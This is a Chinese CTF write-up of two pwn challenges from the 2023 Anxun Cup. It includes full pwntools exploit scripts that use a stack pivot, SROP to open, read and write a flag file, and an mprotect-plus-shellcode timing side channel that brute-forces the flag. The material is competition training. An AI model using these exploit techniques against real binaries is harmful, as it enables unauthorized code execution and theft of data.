2023-安洵杯-Pwn

引言:

2023第六届安洵杯网络安全挑战赛,Pwn方向部分题解。总共三题, 本文主要介绍前两题,Side Channel和Seccomp,考点包括Srop,栈迁移,侧信道攻击等。比赛时间11h还是很有限,做题的时候在一些莫名其妙的地方卡了很久,最后在学长的hint下艰难地搞出来呜呜呜...还是菜,继续练~

Side Channel是Seccomp的plus版,所以先介绍Seccomp

1 Seccomp

检查文件:

没有开启canaryPIE保护,检查沙箱:

从沙箱中可以看出,禁用了execve,允许了read write openrt_sigereturn

seccomp沙箱的想法一般是orw

ORW(Open-Read-Write)是一种经典的漏洞利用技术,常用于利用二进制程序中的文件读取和写入操作来执行特定的操作,例如读取敏感文件或执行任意代码。

在利用ORW漏洞时,主要思路是通过构造适当的系统调用参数和shellcode,将文件描述符指向目标文件并执行读取或写入操作。

将程序丢进IDA,反汇编,main函数如下:

第一个个函数没用,直接跟进第二个:

可以看到在这里直接给程序加了沙箱。也就是说,程序在给自己加seccomp之前,所有系统调用都可以执行,但在这之后只能执行seccomp允许的调用。

果然是一堆抽象的系统调用,脑袋疼。

  • syscall(1, 1, buf, size)buf中输出size个字符(1号系统调用,相当于write)
  • syscall(0, 0, fd, size)size大小的字符串读入fd中(0号系统调用,相当于read)

这里syscall(0, 0, v1, 58LL)制造了一个溢出点:v1数组只有10bytes的大小,但是输入了58bytes的数据。

根据IDA的反汇编,v1数组起始地址和retaddr的偏移为0x2A + 8 = 50个bytes,也就是说虽然有溢出,但也只溢出了8个bytes,不论是ORW还是普通的ROP都是远远不够的。

同时根据上一个输入syscall(0,0, &unk_404060, 4096)我们发现可以操控内存地址unk_404060。于是想到栈迁移

栈迁移(Stack Migration)是一种常用的漏洞利用技术,用于绕过内存保护机制,以执行恶意代码或控制程序流程。在栈迁移攻击中,攻击者利用程序中的漏洞,将栈的执行流程转移到攻击者控制的内存区域,从而实现对程序的控制。

其实栈迁移最根本的事情就是要把rsp搞到新栈上,至于rbp到时候只要不乱pop就无所谓。

栈迁移的基本思路为:

  • 覆盖rbp为新栈的栈顶
  • 覆盖retaddrleave|ret的返回地址

在函数结尾:

leave指令相当于执行mov rsp, rbp ; pop rbp

下面简单演示下栈迁移的过程:

旧栈

1
2
3
4
5
6
7
8
----------------
| *rbp | -----
---------------- |
| retaddr | |
---------------- |
| ..... | |
---------------- |
| old rbp | <----

覆盖rbp 为新栈的栈顶(我们定义unk_404060下的0x1000个字节就是新栈,栈顶即0x404060

1
2
3
4
5
6
7
8
----------------            ---------------
| 0x404060 | ---------> | ... | 新栈
---------------- ---------------
| leave|ret | | |
---------------- ---------------
| ..... | | |
---------------- ---------------
| old *rbp | | |

函数执行结束返回时,第一次执行函数本身的leave|ret(leave相当于mov rsp, rbp ; pop rbp)

1
2
3
mov rsp, rbp ; rsp = rbp
pop rbp ; rbp = 404060 , rsp = rsp + 8 -> ret_addr
ret ; rip = (leave|ret), rsp = rsp + 8 = ret_addr + 8(其实这里的rsp就随便了,反正第二个leave也会变成rbp)

第二次执行我们跳转到的leave | ret

1
2
3
mov rsp, rbp ;  rsp = rbp = 0x404060
pop rbp; rbp = *(unsigned long long)(0x404060), rsp = rsp + 8 = 0x404068
ret ; rip = *(unsigned long long)(0x404068) rsp = 0x404070

这时的栈结构

1
2
3
4
5
6
7
8
----------------            ---------------
| 0x404060 | ---------> | 0x404060 | 新栈
---------------- ---------------
| leave|ret | | 0x404068 |
---------------- ---------------
| ..... | | 0x404070 | <-- rsp
---------------- ---------------
| old *rbp | | | ; 此时的rip = *(unsigned long long)(0x404068)

现在我们成功把栈迁到unk_404060上啦~

此处的payload其实很简单,但一定要注意在第二个ret之后,我们的rip已经更改成0x404046中储存的第一个地址了,所以一定要从0x404068开始布栈

1
payload = b"A" * (0x2a) + p64(0x404060) + p64(leave_ret)

到这里这道题就完成一半了。下一半比较简单,因为整个程序都是系统调用,所以也没多少gadget可用。注意到沙箱还允许了rt_sigereturn, 同时注意到程序中有这样的两个代码片段:

0xf号系统调用,经典Srop。如果是正常的ORW那么可能会这样:

但是这道题中根本没多少gadget可以用,但说白了都是控寄存器,执行系统调用而已。

同时我们需要给"flag"文件名和从flag中读出来的东西找一个地方存放,我这里选择新栈的前0x100个字节。所以在最终的EXP中,定义的新栈顶需要抬高了0x100,没有什么影响滴~

先给出本题的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

elf = ELF("./chall")
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

p = process("./chall")

p.recv()

flag_len = 0x100
flag_addr = 0x404068 # ""
flag_name_addr = 0x404060 # 存储"flag"字符串

sys_ret = 0x40118A

pop_rax = 0x401193

leave_ret = 0x4014d4

main_ret = 0x4014A9

shell = 0x404060 + flag_len

ret_addr = 0x40118e

payload = b"flag".ljust(8, b"\x00") + b"\x00" * (0x100 - 8) + b"a" * 8
# b"a" * 8 占位0x404160, 从 0x404168开始布栈

# open flag
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = flag_name_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = sys_ret
frame.rsp = shell + 16 + 8 + len(frame) - 8

shell_temp = shell + 16 + 8 + len(frame)

payload += p64(pop_rax) + p64(sys_ret) + bytes(frame)

shell_temp += 16 + len(frame) # 更新栈顶

# read flag
frame = SigreturnFrame()
frame.rax = 0
frame.rbx = 0
frame.rdi = 3
frame.rsi = flag_addr
frame.rdx = 0x100
frame.rip = sys_ret
frame.rsp = shell_temp - 8 # 恢复rsp, 防止pop rbp破坏栈结构

payload += p64(pop_rax) + p64(sys_ret) + bytes(frame)

shell_temp += 16 + len(frame) # 更新栈顶

# write flag
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = flag_addr
frame.rdx = 0x100
frame.rip = sys_ret
frame.rsp = shell_temp - 8

payload += p64(pop_rax) + p64(sys_ret) + bytes(frame) + p64(ret_addr)

p.sendline(payload)

p.recv()

payload = b"A" * (0x2a) + p64(shell) + p64(leave_ret) # 栈迁移
# gdb.attach(p)
# pause()
p.sendline(payload)

p.interactive()

需要注意的是,为了让每次sigereturn结束后,rsp都能恢复,我们需要不断追踪rsp的当前位置并在srop中手动定义rsp的值。但注意到每次syscall后还跟着一个pop rbp,会把rsp抬高8个字节,所以我们在定义的时候要将rsp - 8,以便ret之后仍可以正确执行pop链。

在本地创造一个文件flag,内容如下:

执行exp,运行结果如下:

成功读取文件内容。

2 Side Channel

这个题是上一道seccomp的plus版

好好好,把write也给我禁了,但允许mprotectsrop,但是他为什么还能输出字符串.....丢进IDA

代码结构和上一题基本一致,但有些不同。这里的sub_40119E是给程序上沙箱,也就是说在这之前一切操作都是允许的,程序可以输出字符串,但在这之后你就不能输出了。

好好好经典只许官差放火不许百姓点灯()

延续上一题的思路,本题的考点在侧信道攻击

侧信道攻击(Side-Channel Attacks)是一类利用计算系统在执行过程中泄露的辅助信息(侧信道)来推断出敏感数据的攻击技术。相比直接攻击计算系统的漏洞,侧信道攻击关注的是计算系统的实际执行行为和相关的物理特性,从中获取敏感信息。

大体思路就是我们可以通过O Rflag读到内存里,并且通过mprotectunk_404060下的内存页设置为可读可写可执行,在unk_404060下布shellcode:

1
2
3
4
mov bl, byte ptr [flag_addr] ; 取flag中的一个字符到bl
mov al, {} ; 设置al为我们定义的一个字符
cmp bl, al
jz $-3 ; 如果相等,则跳转到pc-3的位置即cmp,陷入死循环

如果我们当前尝试的字符和flag中的某一个字符相等,程序将陷入死循环,否则将很快退出。根据这个来爆破flag

其中mprotect的系统调用要通过Srop

1
2
3
4
5
6
7
8
frame = SigreturnFrame()
frame.rax = 10 # mprotect系统调用号
frame.rbx = 0
frame.rdi = 0x404000 # 内存页地址,保证0x1000对齐
frame.rsi = 4096 # 内存页的大小
frame.rdx = 7 # 可读可写可执行
frame.rip = sys_ret
frame.rsp = shell_temp - 8

这里追踪shellcode的地址花了好半天才写对,如果我们把shellcode布在栈上,就需要在完成mprtect之后把pc控到栈上。

1
2
执行完sigereturn : rsp -> shell_temp + 8
ret ; pc = shell_temp + 8 -> shellcode

syscall之后,已执行pop rbp, ret前,栈结构(我们保证通过srop恢复栈顶)

1
2
3
4
5
6
7
8
            ----------------
rsp ---> | rsp+8 | -----
---------------- |
| mov bl, .. | <---|
----------------
| mov al, {} |
----------------
| cmp bl, al |

ret之后,pcrsp指向同一个位置

1
2
3
4
5
6
7
8
          ----------------
| rsp-8 |
----------------
pc --> | mov bl, .. | <-- rsp
----------------
| mov al, {} |
----------------
| cmp bl, al |

这样就可以执行栈啦~

不会写自动化的脚本,只能比较笨的从头到尾一个个试

还好从上一题得到flag的字符集只有[0-9a-f\-],所以还好~

每次手动更新index的值,代表flag的第几个字符,char_set我们自己定义

EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
import time

elf = ELF("./chall")
libc = ELF("./libc.so.6")

# context.log_level = "debug"
context.arch = "amd64"
p = process("./chall")

flag_len = 0x100
flag_addr = 0x404068
flag_name_addr = 0x404060
sys_ret = 0x40118A
pop_rax = 0x401193
leave_ret = 0x4014d4
main_ret = 0x4014A9
shell = 0x404060 + flag_len
ret_addr = 0x40118e

payload = b"flag".ljust(8, b"\x00") + b"\x00" * (0x100 - 8) + b"a" * 8

frame = SigreturnFrame()
frame.rax = 2
frame.rdi = flag_name_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = sys_ret
frame.rsp = shell + 16 + 8 + len(frame) - 8

shell_temp = shell + 16 + 8 + len(frame)

payload += p64(pop_rax) + p64(sys_ret) + bytes(frame)

shell_temp += 16 + len(frame)

frame = SigreturnFrame()
frame.rax = 0
frame.rbx = 0
frame.rdi = 3
frame.rsi = flag_addr
frame.rdx = 0x100
frame.rip = sys_ret
frame.rsp = shell_temp - 8

while_shell = """
mov bl, byte ptr [{}]
cmp bl, {}
jz $-0x3

"""

payload += p64(pop_rax) + p64(sys_ret) + bytes(frame)
shell_temp += 16 + len(frame)

# mprotect
frame = SigreturnFrame()
frame.rax = 10
frame.rbx = 0
frame.rdi = 0x404000
frame.rsi = 4096
frame.rdx = 7
frame.rip = sys_ret
frame.rsp = shell_temp - 8

payload += p64(pop_rax) + p64(sys_ret) + bytes(frame) + p64(shell_temp + 8)



s = "-0123456789abcdef"
flag = ""

index = 0 # 比赛来不及写自动化脚本,只能手动爆破。。每次死循环之后记下当前位的flag然后index++

while 1:
for i in range(len(s)):
# p = remote("47.108.206.43", 42211)
p = process("./chall")

p.recv()
payload3 = payload + asm(while_shell.format(index + flag_addr, ord(s[i])))
p.sendline(payload3)
payload2 = b"A" * (0x2a) + p64(shell) + p64(leave_ret)
p.recv()
p.info("current {}".format((s[i])))

start = time.time()
p.sendline(payload2)
p.recvall()
end = time.time()
print(end - start)
index += 1
p.interactive()

# flag{d69c2244-a17b-11ee-844d-00163e0447d0}

爆破~

看在哪里卡死

flag[index] = 'd'

逐位爆破,得到flagflag{d69c2244-a17b-11ee-844d-00163e0447d0}

说起来也是心累,真得爱护容器吧,做个b题容器崩了三四次,关键是flag是随机的,每次开容器flag都不一样,还得从头开始爆破,破到一半容器又坏了.....

平常练习的时候考点都比较单一叭,要不就是栈迁移,要不就是Srop

很少见到像今天比赛这种 栈迁移+Srop+mprotect+shellcode+..... 还是缺少做题经验叭

第三题不会....还是菜,继续练~